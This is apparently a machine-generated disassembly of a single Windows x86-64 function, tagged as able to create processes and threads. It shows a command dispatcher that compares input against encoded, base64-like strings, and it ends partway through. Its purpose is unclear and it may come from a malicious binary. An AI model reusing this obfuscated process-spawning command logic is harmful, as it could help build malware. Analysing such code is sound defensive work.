Function at 0x14014ac60
Capabilities:
Create process on windows
Create thread

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb20
mov rbx, rdx
mov r15, rcx
xor r14d, r14d
mov dword [rsp + 0x88], r14d
lea rdx, [0x14021e058]
lea rcx, [rsp + 0x800]
call fcn.14004bb30
mov rdx, rax
lea rsi, [r14 - 1]
test rbx, rbx
je 0x14014ad0a
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014acb0
test rax, rax
je 0x14014ad0a
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014ad0a
cmp qword [rdx + 0x18], 0x10
jb 0x14014acd1
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x800]
call fcn.1400305d0
test edi, edi
je 0x14014ad17
mov rax, qword [r15 + 0x18]
mov ebx, 1
mov dword [rax + 0x180], ebx
jmp 0x14014f43d
lea rcx, [rsp + 0x800]
call fcn.1400305d0
lea rdx, [0x14021e078]
lea rcx, [rsp + 0x820]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014ad95
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014ad36
test rax, rax
je 0x14014ad95
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014ad95
cmp qword [rdx + 0x18], 0x10
jb 0x14014ad57
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x820]
call fcn.1400305d0
test edi, edi
je 0x14014ada2
mov rax, qword [r15 + 0x18]
mov byte [rax + 0x172], 1
mov rcx, qword [r15 + 0x18]
call fcn.140022b00
jmp 0x14014f43d
lea rcx, [rsp + 0x820]
call fcn.1400305d0
lea rdx, [0x14021e118]
lea rcx, [rsp + 0x840]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014ae17
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014adc1
test rax, rax
je 0x14014ae17
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014ae17
cmp qword [rdx + 0x18], 0x10
jb 0x14014ade2
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x840]
call fcn.1400305d0
test edi, edi
je 0x14014ae24
mov dl, 1
mov rcx, qword [r15 + 0x18]
call fcn.1400220e0
jmp 0x14014f43d
lea rcx, [rsp + 0x840]
call fcn.1400305d0
lea rdx, [0x14021e0f8]
lea rcx, [rsp + 0x860]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014af9f
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014ae47
test rax, rax
je 0x14014af9f
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014af9f
cmp qword [rdx + 0x18], 0x10
jb 0x14014ae70
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x860]
call fcn.1400305d0
test edi, edi
je 0x14014afac
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x30
lea rdx, str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
mov r12, qword [r15 + 0x20]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r14, [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 8
cmovae r14, rsi
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f452
mov qword [rsp + 0x58], 7
cmp rdi, 8
jae 0x14014af2b
mov qword [rsp + 0x50], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rsp + 0x40]
call fcn.140185440
jmp 0x14014af76
mov rcx, rdi
or rcx, 7
cmp rcx, rbx
ja 0x14014af46
mov rbx, rcx
mov eax, 0xa
cmp rcx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.140030fc0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xb68]
call fcn.14004bc20
mov r8d, 2
mov rdx, rax
mov rcx, r12
call fcn.14006cf00
nop
jmp 0x14014b5ba
lea rcx, [rsp + 0x860]
call fcn.1400305d0
lea rdx, [0x14021e138]
lea rcx, [rsp + 0x880]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b128
mov rax, rsi
nop
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014afd0
test rax, rax
je 0x14014b128
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b128
cmp qword [rdx + 0x18], 0x10
jb 0x14014aff9
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x880]
call fcn.1400305d0
test edi, edi
je 0x14014b135
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x2c
lea rdx, str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
mov r12, qword [r15 + 0x20]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r14, [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 8
cmovae r14, rsi
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f458
mov qword [rsp + 0x58], 7
cmp rdi, 8
jae 0x14014b0b4
mov qword [rsp + 0x50], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rsp + 0x40]
call fcn.140185440
jmp 0x14014b0ff
mov rcx, rdi
or rcx, 7
cmp rcx, rbx
ja 0x14014b0cf
mov rbx, rcx
mov eax, 0xa
cmp rcx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.140030fc0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xb68]
call fcn.14004bc20
mov r8d, 1
mov rdx, rax
mov rcx, r12
call fcn.14006cf00
nop
jmp 0x14014b5ba
lea rcx, [rsp + 0x880]
call fcn.1400305d0
lea rdx, [0x14021e158]
lea rcx, [rsp + 0x8e0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b1aa
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b154
test rax, rax
je 0x14014b1aa
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b1aa
cmp qword [rdx + 0x18], 0x10
jb 0x14014b175
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x8e0]
call fcn.1400305d0
test edi, edi
je 0x14014b1b7
xor edx, edx
mov rcx, qword [r15 + 0x18]
call fcn.1400220e0
jmp 0x14014f43d
lea rcx, [rsp + 0x8e0]
call fcn.1400305d0
lea rdx, [0x14021e2f8]
lea rcx, [rsp + 0x8a0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b22a
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b1d6
test rax, rax
je 0x14014b22a
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b22a
cmp qword [rdx + 0x18], 0x10
jb 0x14014b1f7
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x8a0]
call fcn.1400305d0
test edi, edi
je 0x14014b237
mov rcx, qword [r15 + 0x18]
call fcn.140006e90
jmp 0x14014f43d
lea rcx, [rsp + 0x8a0]
call fcn.1400305d0
lea rdx, [0x14021e318]
lea rcx, [rsp + 0x8c0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b2aa
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b256
test rax, rax
je 0x14014b2aa
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b2aa
cmp qword [rdx + 0x18], 0x10
jb 0x14014b277
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x8c0]
call fcn.1400305d0
test edi, edi
je 0x14014b2b7
mov rcx, qword [r15 + 0x18]
call fcn.1400071e0
jmp 0x14014f43d
lea rcx, [rsp + 0x8c0]
call fcn.1400305d0
lea rdx, [0x14021e438]
lea rcx, [rsp + 0x900]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b32a
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b2d6
test rax, rax
je 0x14014b32a
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b32a
cmp qword [rdx + 0x18], 0x10
jb 0x14014b2f7
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x900]
call fcn.1400305d0
test edi, edi
je 0x14014b337
mov rcx, qword [r15 + 0x18]
call fcn.1400230d0
jmp 0x14014f43d
lea rcx, [rsp + 0x900]
call fcn.1400305d0
lea rdx, [0x14021e078]
lea rcx, [rsp + 0x6e0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b3b5
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b356
test rax, rax
je 0x14014b3b5
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b3b5
cmp qword [rdx + 0x18], 0x10
jb 0x14014b377
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x6e0]
call fcn.1400305d0
test edi, edi
je 0x14014b3c2
mov rax, qword [r15 + 0x18]
mov byte [rax + 0x172], 1
mov rcx, qword [r15 + 0x18]
call fcn.140022b00
jmp 0x14014f43d
lea rcx, [rsp + 0x6e0]
call fcn.1400305d0
lea rdx, [0x14021e118]
lea rcx, [rsp + 0x700]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b437
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b3e1
test rax, rax
je 0x14014b437
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b437
cmp qword [rdx + 0x18], 0x10
jb 0x14014b402
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x700]
call fcn.1400305d0
test edi, edi
je 0x14014b444
mov dl, 1
mov rcx, qword [r15 + 0x18]
call fcn.1400220e0
jmp 0x14014f43d
lea rcx, [rsp + 0x700]
call fcn.1400305d0
lea rdx, [0x14021e0f8]
lea rcx, [rsp + 0x720]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b5fe
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b467
test rax, rax
je 0x14014b5fe
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b5fe
cmp qword [rdx + 0x18], 0x10
jb 0x14014b490
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x720]
call fcn.1400305d0
test edi, edi
je 0x14014b60b
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x30
lea rdx, str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
mov r12, qword [r15 + 0x20]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r14, [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 8
cmovae r14, rsi
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f45e
mov qword [rsp + 0x58], 7
cmp rdi, 8
jae 0x14014b54b
mov qword [rsp + 0x50], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rsp + 0x40]
call fcn.140185440
jmp 0x14014b596
mov rcx, rdi
or rcx, 7
cmp rcx, rbx
ja 0x14014b566
mov rbx, rcx
mov eax, 0xa
cmp rcx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.140030fc0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xb68]
call fcn.14004bc20
mov r8d, 2
mov rdx, rax
mov rcx, r12
call fcn.14006cf00
nop
cmp r15, 8
jb 0x14014f43d
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14014b5f1
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f46a
mov rcx, rsi
call fcn.140183144
jmp 0x14014f43d
lea rcx, [rsp + 0x720]
call fcn.1400305d0
lea rdx, [0x14021e138]
lea rcx, [rsp + 0x740]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b7c3
mov rax, rsi
nop
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b630
test rax, rax
je 0x14014b7c3
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b7c3
cmp qword [rdx + 0x18], 0x10
jb 0x14014b659
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x740]
call fcn.1400305d0
test edi, edi
je 0x14014b7d0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov r8d, 0x2c
lea rdx, str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea rcx, [rsp + 0x60]
call fcn.140030750
nop
mov r12, qword [r15 + 0x20]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r14, [rsp + 0x60]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 8
cmovae r14, rsi
movabs rbx, 0x7ffffffffffffffe
mov rdi, qword [rsp + 0x70]
cmp rdi, rbx
ja 0x14014f464
mov qword [rsp + 0x58], 7
cmp rdi, 8
jae 0x14014b714
mov qword [rsp + 0x50], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rsp + 0x40]
call fcn.140185440
jmp 0x14014b75f
mov rcx, rdi
or rcx, 7
cmp rcx, rbx
ja 0x14014b72f
mov rbx, rcx
mov eax, 0xa
cmp rcx, rax
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.140030fc0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140185440
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xb68]
call fcn.14004bc20
mov r8d, 1
mov rdx, rax
mov rcx, r12
call fcn.14006cf00
nop
cmp r15, 8
jb 0x14014f43d
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14014b5f1
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f46a
jmp 0x14014b5f1
lea rcx, [rsp + 0x740]
call fcn.1400305d0
lea rdx, [0x14021e2f8]
lea rcx, [rsp + 0x760]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b844
mov rax, rsi
nop
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b7f0
test rax, rax
je 0x14014b844
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b844
cmp qword [rdx + 0x18], 0x10
jb 0x14014b811
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x760]
call fcn.1400305d0
test edi, edi
je 0x14014b851
mov rcx, qword [r15 + 0x18]
call fcn.140006e90
jmp 0x14014f43d
lea rcx, [rsp + 0x760]
call fcn.1400305d0
lea rdx, [0x14021e318]
lea rcx, [rsp + 0x780]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b8c4
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b870
test rax, rax
je 0x14014b8c4
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b8c4
cmp qword [rdx + 0x18], 0x10
jb 0x14014b891
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x780]
call fcn.1400305d0
test edi, edi
je 0x14014b8d1
mov rcx, qword [r15 + 0x18]
call fcn.1400071e0
jmp 0x14014f43d
lea rcx, [rsp + 0x780]
call fcn.1400305d0
lea rdx, [0x14021e438]
lea rcx, [rsp + 0x7a0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b944
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b8f0
test rax, rax
je 0x14014b944
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b944
cmp qword [rdx + 0x18], 0x10
jb 0x14014b911
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x7a0]
call fcn.1400305d0
test edi, edi
je 0x14014b951
mov rcx, qword [r15 + 0x18]
call fcn.1400230d0
jmp 0x14014f43d
lea rcx, [rsp + 0x7a0]
call fcn.1400305d0
lea rdx, [0x14021e178]
lea rcx, [rsp + 0x7c0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014b9c6
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b970
test rax, rax
je 0x14014b9c6
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014b9c6
cmp qword [rdx + 0x18], 0x10
jb 0x14014b991
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x7c0]
call fcn.1400305d0
test edi, edi
je 0x14014b9d3
mov dl, 1
mov rcx, qword [r15 + 0x18]
call fcn.1400083b0
jmp 0x14014f43d
lea rcx, [rsp + 0x7c0]
call fcn.1400305d0
lea rdx, [0x14021e198]
lea rcx, [rsp + 0x7e0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014ba48
mov rax, rsi
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014b9f2
test rax, rax
je 0x14014ba48
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x14014ba48
cmp qword [rdx + 0x18], 0x10
jb 0x14014ba13
mov rdx, qword [rdx]
movsxd r8, eax
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x7e0]
call fcn.1400305d0
test edi, edi
je 0x14014ba55
xor edx, edx
mov rcx, qword [r15 + 0x18]
call fcn.1400083b0
jmp 0x14014f43d
lea rcx, [rsp + 0x7e0]
call fcn.1400305d0
lea rdx, [0x14021e1b8]
lea rcx, [rsp + 0x590]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014bbf9
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014ba80
test rax, rax
je 0x14014bbf9
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014bbf9
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014bab1
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x590]
call fcn.1400305d0
test edi, edi
je 0x14014bc06
mov qword [rsp + 0x40], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], r14b
movsxd rdi, r12d
add rdi, rbx
nop dword [rax + rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14014bb00
add rsi, rbx
cmp rdi, rsi
je 0x14014bb59
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
jae 0x14014bb47
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014bb51
lea rcx, [rsp + 0x40]
call fcn.1400290b0
inc rdi
cmp rdi, rsi
jne 0x14014bb11
mov rsi, qword [r15 + 0x18]
call fcn.140189d70
mov rdi, rax
lea rbx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rbx, qword [rsp + 0x40]
mov dword [rax], r14d
mov r8d, 0xa
lea rdx, [rsp + 0xb68]
mov rcx, rbx
call fcn.14018ba80
cmp rbx, qword [rsp + 0xb68]
je 0x14014f470
cmp dword [rdi], 0x22
je 0x14014f47d
test eax, eax
setne dl
mov rcx, rsi
call fcn.1400087b0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f48a
jmp 0x14014b5f4
lea rcx, [rsp + 0x590]
call fcn.1400305d0
lea rdx, [0x14021dff8]
lea rcx, [rsp + 0x570]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014bdfd
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014bc30
test rax, rax
je 0x14014bdfd
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014bdfd
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014bc61
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x570]
call fcn.1400305d0
test edi, edi
je 0x14014be0a
mov qword [rsp + 0x40], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], r14b
movsxd rdi, r12d
add rdi, rbx
nop dword [rax + rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14014bcb0
add rsi, rbx
cmp rdi, rsi
je 0x14014bd09
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
jae 0x14014bcf7
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014bd01
lea rcx, [rsp + 0x40]
call fcn.1400290b0
inc rdi
cmp rdi, rsi
jne 0x14014bcc1
lea rcx, [rsp + 0x660]
call fcn.140038860
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
mov r9, qword [rsp + 0x50]
add r9, r8
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x660]
call fcn.140039bf0
nop
lea r12, vtable.std::wstring_convert_class_std::codecvt_utf8_utf16_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x660], r12
lea rcx, [rsp + 0x6a0]
call fcn.140031830
lea rcx, [rsp + 0x680]
call fcn.1400305d0
mov rcx, qword [rsp + 0x678]
test rcx, rcx
je 0x14014bd96
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14014bd96
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
call fcn.1400703c0
nop
lea rcx, [rsp + 0x60]
call fcn.140031830
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14014f43d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014b5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14014f490
jmp 0x14014b5f4
lea rcx, [rsp + 0x570]
call fcn.1400305d0
lea rdx, [0x14021e018]
lea rcx, [rsp + 0x5b0]
call fcn.14004bb30
mov rdx, rax
test rbx, rbx
je 0x14014cb29
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rbx + rax], r14b
jne 0x14014be30
test rax, rax
je 0x14014cb29
mov r12, qword [rdx + 0x10]
test r12, r12
je 0x14014cb29
mov dword [rsp + 0xb68], r12d
cmp qword [rdx + 0x18], 0x10
jb 0x14014be61
mov rdx, qword [rdx]
movsxd r8, r12d
mov rcx, rbx
call fcn.140198220
mov edi, r14d
test eax, eax
sete dil
lea rcx, [rsp + 0x5b0]
call fcn.1400305d0
test edi, edi
je 0x14014cb36
mov qword [rsp + 0x350], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x360], xmm0
mov byte [rsp + 0x350], r14b
movsxd rdi, r12d
add rdi, rbx
mov r12, rsi
inc r12
cmp byte [rbx + r12], 0
jne 0x14014beb4
add r12, rbx
cmp rdi, r12
je 0x14014bf2a
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rsp + 0x360]
mov rdx, qword [rsp + 0x368]
cmp rcx, rdx
jae 0x14014bf15
lea rax, [rcx + 1]
mov qword [rsp + 0x360], rax
lea rax, [rsp + 0x350]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x350]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14014bf22
lea rcx, [rsp + 0x350]
call fcn.1400290b0
inc rdi
cmp rdi, r12
jne 0x14014bed0
mov qword [rsp + 0x330], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x340], xmm0
mov byte [rsp + 0x330], 0
mov qword [rsp + 0x198], r14
movdqu xmmword [rsp + 0x1a8], xmm0
mov byte [rsp + 0x198], 0
mov qword [rsp + 0x310], r14
movdqu xmmword [rsp + 0x320], xmm0
mov byte [rsp + 0x310], 0
mov qword [rsp + 0x2f0], r14
movdqu xmmword [rsp + 0x300], xmm0
mov byte [rsp + 0x2f0], 0
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x310]
lea r8, [rsp + 0x198]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x350]
call fcn.1400533a0
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f496
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x130], rax
lea rbx, str.Sl9xckdC
mov rdx, rbx
lea rcx, [rsp + 0x130]
call fcn.140031e00
test al, al
jne 0x14014c02e
mov rax, rsi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x14014c010
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x130]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14014f4a1
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0xc0], rax
lea rbx, str.Sl9xclJna2M
mov rdx, rbx
lea rcx, [rsp + 0xc0]
call fcn.140031e00
test al, al
jne 0x14014c08e
mov rax, rsi
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x14014c070
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0xc0]
call fcn.140032190
nop
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xb70], rax
mov rcx, qword [0x140223c08]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rsp + 0xa8], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xc8]
call fcn.14004beb0
mov r13, rax
